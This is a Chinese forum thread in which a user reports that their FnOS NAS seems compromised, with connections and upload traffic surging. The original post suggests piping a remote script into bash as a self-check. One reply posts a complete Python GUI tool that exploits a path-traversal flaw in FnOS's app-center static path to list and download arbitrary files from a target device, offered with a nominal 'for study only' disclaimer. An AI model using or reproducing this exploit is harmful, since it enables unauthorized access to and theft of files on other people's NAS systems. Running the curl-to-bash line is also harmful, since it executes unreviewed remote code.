每日签到奶昔超市积分商城奶昔访达
返回列表 发布新帖
查看: 345|回复: 2

[安全] 我的飞牛OS好像中毒了

发表于 2026-2-1 01:12:10 | 查看全部 |阅读模式

登录后免广告,享受更多奶昔会员权益!

您需要 登录 才可以下载或查看,没有账号?注册

×
我的飞牛OS好像中毒了。。。
fakename.png
从上个月18号开始 连接数3000  后面连接数10万
fakename.png
上行也跑到了最大1G
fakename.png

建议使用脚本自查
  1. curl -fsSL http://static2.fnnas.com/aptfix/listautostart.sh | bash
复制代码
爱生活,爱奶昔~
回复

使用道具 举报

发表于 2026-2-1 03:12:08 来自手机 | 查看全部
给你个脚本去跑
反正官方也不重视,只好以暴制暴了
  1. import tkinter as tk
  2. import requests
  3. from bs4 import BeautifulSoup
  4. import os
  5. import urllib.parse

  6. # 用于保存路径段的数组,模拟 http.server 的目录浏览
  7. path_segments = []

  8. def normalize_url(url: str) -> str:
  9.     return url.rstrip('/')

  10. def access_url(base_only=False):
  11.     global path_segments
  12.     url = normalize_url(entry_url.get().strip())
  13.     payload = entry_payload.get().strip()
  14.     if not url:
  15.         return

  16.     if base_only:
  17.         path_segments = []

  18.     full_url = url + payload
  19.     if path_segments:
  20.         encoded_segments = [urllib.parse.quote(seg) for seg in path_segments]
  21.         full_url += "/".join(encoded_segments)

  22.     entry_result.delete(0, tk.END)
  23.     entry_result.insert(0, full_url)

  24.     try:
  25.         response = requests.get(full_url, timeout=5)
  26.         if response.status_code != 200:
  27.             entry_status.delete(0, tk.END)
  28.             entry_status.insert(0, f"访问失败: 状态码 {response.status_code}")
  29.             return

  30.         soup = BeautifulSoup(response.text, "html.parser")
  31.         links = [a.get("href") for a in soup.find_all("a") if a.get("href")]

  32.         listbox_links.delete(0, tk.END)
  33.         listbox_links.insert(tk.END, "../")
  34.         for link in links:
  35.             decoded = urllib.parse.unquote(link)
  36.             listbox_links.insert(tk.END, decoded)

  37.         entry_status.delete(0, tk.END)
  38.         entry_status.insert(0, f"访问成功: 状态码 {response.status_code}")

  39.     except Exception as e:
  40.         if path_segments:
  41.             path_segments.pop()
  42.         entry_status.delete(0, tk.END)
  43.         entry_status.insert(0, f"访问错误: {e}")

  44. def on_double_click(event):
  45.     selected = listbox_links.get(tk.ACTIVE)
  46.     if not selected:
  47.         return

  48.     global path_segments

  49.     if selected == "../":
  50.         if path_segments:
  51.             path_segments.pop()
  52.     else:
  53.         path_segments.append(selected)

  54.     entry_third.delete(0, tk.END)
  55.     entry_third.insert(0, "/".join(path_segments))

  56.     access_url()

  57. def on_right_click(event):
  58.     try:
  59.         index = listbox_links.nearest(event.y)
  60.         selected = listbox_links.get(index)
  61.     except Exception:
  62.         return

  63.     if not selected or selected == "../":
  64.         return

  65.     # 高亮选中的条目
  66.     listbox_links.selection_clear(0, tk.END)
  67.     listbox_links.selection_set(index)
  68.     listbox_links.activate(index)

  69.     menu = tk.Menu(root, tearoff=0)

  70.     if selected.endswith('/'):
  71.         menu.add_command(label="无法下载目录", state="disabled")
  72.     else:
  73.         menu.add_command(label="下载到当前目录", command=lambda: download_file(selected))

  74.     menu.post(event.x_root, event.y_root)

  75. def download_file(filename):
  76.     url = normalize_url(entry_url.get().strip())
  77.     payload = entry_payload.get().strip()
  78.     full_url = url + payload
  79.     if path_segments:
  80.         encoded_segments = [urllib.parse.quote(seg) for seg in path_segments]
  81.         full_url += "/".join(encoded_segments)
  82.     full_url += urllib.parse.quote(filename)

  83.     try:
  84.         response = requests.get(full_url, timeout=5)
  85.         if response.status_code != 200:
  86.             entry_status.delete(0, tk.END)
  87.             entry_status.insert(0, f"下载失败: 状态码 {response.status_code}")
  88.             return
  89.         with open(os.path.basename(filename), "wb") as f:
  90.             f.write(response.content)
  91.         entry_status.delete(0, tk.END)
  92.         entry_status.insert(0, f"下载成功: {filename} (状态码 {response.status_code})")
  93.     except Exception as e:
  94.         entry_status.delete(0, tk.END)
  95.         entry_status.insert(0, f"下载错误: {e}")

  96. # 主窗口
  97. root = tk.Tk()
  98. root.title("仅供学习交流 - 禁止非法使用 - 请与24小时内删除 - 侵权请联系删除")

  99. # 允许窗口拉伸
  100. root.rowconfigure(5, weight=1)
  101. root.columnconfigure(0, weight=1)

  102. frame_top = tk.Frame(root)
  103. frame_top.pack(pady=5, fill="x")

  104. label_url = tk.Label(frame_top, text="URL:")
  105. label_url.grid(row=0, column=0, padx=5)
  106. entry_url = tk.Entry(frame_top, width=30)
  107. entry_url.grid(row=0, column=1, padx=5)

  108. label_payload = tk.Label(frame_top, text="Payload:")
  109. label_payload.grid(row=0, column=2, padx=5)
  110. entry_payload = tk.Entry(frame_top, width=50)
  111. entry_payload.insert(0, "/app-center-static/serviceicon/myapp/{0}/?size=../../../../")
  112. entry_payload.grid(row=0, column=3, padx=5)

  113. button_access = tk.Button(frame_top, text="访问根目录", command=lambda: access_url(base_only=True))
  114. button_access.grid(row=0, column=4, padx=5)

  115. label_result = tk.Label(root, text="当前访问的URL:")
  116. label_result.pack(pady=5)
  117. entry_result = tk.Entry(root, width=80)
  118. entry_result.pack(pady=5, fill="x")

  119. label_links = tk.Label(root, text="目录中的文件/目录:")
  120. label_links.pack(pady=5)

  121. frame_list = tk.Frame(root)
  122. frame_list.pack(pady=5, fill="both", expand=True)

  123. scrollbar = tk.Scrollbar(frame_list, orient="vertical")
  124. listbox_links = tk.Listbox(frame_list, yscrollcommand=scrollbar.set)
  125. scrollbar.config(command=listbox_links.yview)

  126. listbox_links.pack(side="left", fill="both", expand=True)
  127. scrollbar.pack(side="right", fill="y")

  128. listbox_links.bind("<Double-Button-1>", on_double_click)
  129. listbox_links.bind("<Button-3>", on_right_click)

  130. label_third = tk.Label(root, text="当前路径 (第三段):")
  131. label_third.pack(pady=5)
  132. entry_third = tk.Entry(root, width=80)
  133. entry_third.pack(pady=5, fill="x")

  134. label_status = tk.Label(root, text="下载/访问状态:")
  135. label_status.pack(pady=5)
  136. entry_status = tk.Entry(root, width=80)
  137. entry_status.pack(pady=5, fill="x")

  138. root.mainloop()
复制代码
爱生活,爱奶昔~
发表于 2026-2-1 03:12:49 来自手机 | 查看全部
只能说趁早换
爱生活,爱奶昔~
您需要登录后才可以回帖 登录 | 注册

本版积分规则

© 2026 Naixi Networks. 沪ICP备13020230号-1|沪公网安备 31010702007642号手机版小黑屋RSS
返回顶部 关灯 在本版发帖
快速回复 返回顶部 返回列表